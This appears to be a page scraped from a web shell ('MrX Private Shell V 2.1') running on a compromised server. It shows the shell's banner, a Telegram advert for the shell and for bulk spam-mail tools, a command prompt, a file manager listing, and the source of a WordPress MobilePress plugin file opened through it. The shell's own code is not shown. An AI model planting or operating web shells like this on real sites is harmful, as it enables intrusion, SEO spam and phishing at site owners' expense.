__  __    __   __  _____      _            _          _____ _          _ _ 
 |  \/  |   \ \ / / |  __ \    (_)          | |        / ____| |        | | |
 | \  / |_ __\ V /  | |__) | __ ___   ____ _| |_ ___  | (___ | |__   ___| | |
 | |\/| | '__|> <   |  ___/ '__| \ \ / / _` | __/ _ \  \___ \| '_ \ / _ \ | |
 | |  | | |_ / . \  | |   | |  | |\ V / (_| | ||  __/  ____) | | | |  __/ | |
 |_|  |_|_(_)_/ \_\ |_|   |_|  |_| \_/ \__,_|\__\___| |_____/|_| |_|\___V 2.1
 if you need WebShell for Seo everyday contact me on Telegram
 Telegram Address : @jackleet
        
        
For_More_Tools: Telegram: @jackleet | Bulk Smtp support mail sender | Business Mail Collector | Mail Bouncer All Mail | Bulk Office Mail Validator | Html Letter private



Upload:

Command:

www-data@216.73.217.59: ~ $
<?php
if ( ! function_exists( 'mopr_check_pagination' ) ) {
	/**
	 * Checks if there is pagination
	 *
	 * @package MobilePress
	 * @since 1.0
	 */
	function mopr_check_pagination() {
		global $wp_query;

		$max_num_pages = $wp_query->max_num_pages;

		if ( $max_num_pages > 1 ) {
			return true;
		} else {
			return false;
		}
	}
}

if ( ! function_exists( 'mopr_check_permalink' ) ) {
	/**
	 * Checks if the blog has permalinks enabled.
	 * If true, we need to display ? in the view/post comments links before the comment=true variable is declared
	 *
	 * @package MobilePress
	 * @since 1.0
	 */
	function mopr_check_permalink() {
		$permalink = get_option( 'permalink_structure' );

		if ( $permalink == '' ) {
			echo '&amp;';
		} else {
			echo '?';
		}
	}
}

if ( ! function_exists( 'mopr_comment_id' ) ) {
	/**
	 * Returns the current comment id
	 *
	 * @package MobilePress
	 * @since 1.0
	 */
	function mopr_comment_id() {
		global $id;
		echo $id;
	}
}

if ( ! function_exists( 'mopr_create_thumbnail' ) ) {
	/**
	 * Create a thumbnail from the specified image url
	 *
	 * @package MobilePress
	 * @since 1.2
	 */
	function mopr_create_thumbnail( $image_src, $auto_scale = TRUE, $image_width = NULL, $image_height = NULL ) {
		if ( $auto_scale ) {
			if ( isset( $_SESSION['MOPR_MOBILE_BROWSER'] ) && $_SESSION['MOPR_MOBILE_BROWSER'] == 'touch') {
				$image_width = '300';
			} else {
				$image_width = '160';
			}

			$thumbnail = WP_CONTENT_URL .'/plugins/mobilepress/libraries/timthumb.php?src='. $image_src .'&w='. $image_width .'';
		} else {
			$thumbnail = WP_CONTENT_URL .'/plugins/mobilepress/libraries/timthumb.php?src='. $image_src .'&w='. $image_width .'&h='. $image_height .'';
		}

		return $thumbnail;
	}
}

if ( ! function_exists( 'mopr_thumbnails' ) ) {
	/**
	 * Creates thumbnails for all images in a post / page
	 *
	 * @package MobilePress
	 * @since 1.2
	 */
	function mopr_thumbnails( $content ) {
		if ( preg_match_all( '#<img.+?src=\"(.*?)\"(.*?) \/>#s', $content, $matches, PREG_SET_ORDER ) ) {
			foreach( $matches as $match ) {
				$image_url		= $match[1];
				$image_thumb	= '<img src="'. mopr_create_thumbnail( $image_url ) .'" />';

				$content = preg_replace( '#<img.+?src=\"'.$image_url.'\"(.*?) \/>#s', $image_thumb, $content );
			}
		}

		return $content;
	}
}
?>

Filemanager

Name Type Size Permission Actions
api.php File 2.26 KB 0644
functions.php File 2.23 KB 0644
Filemanager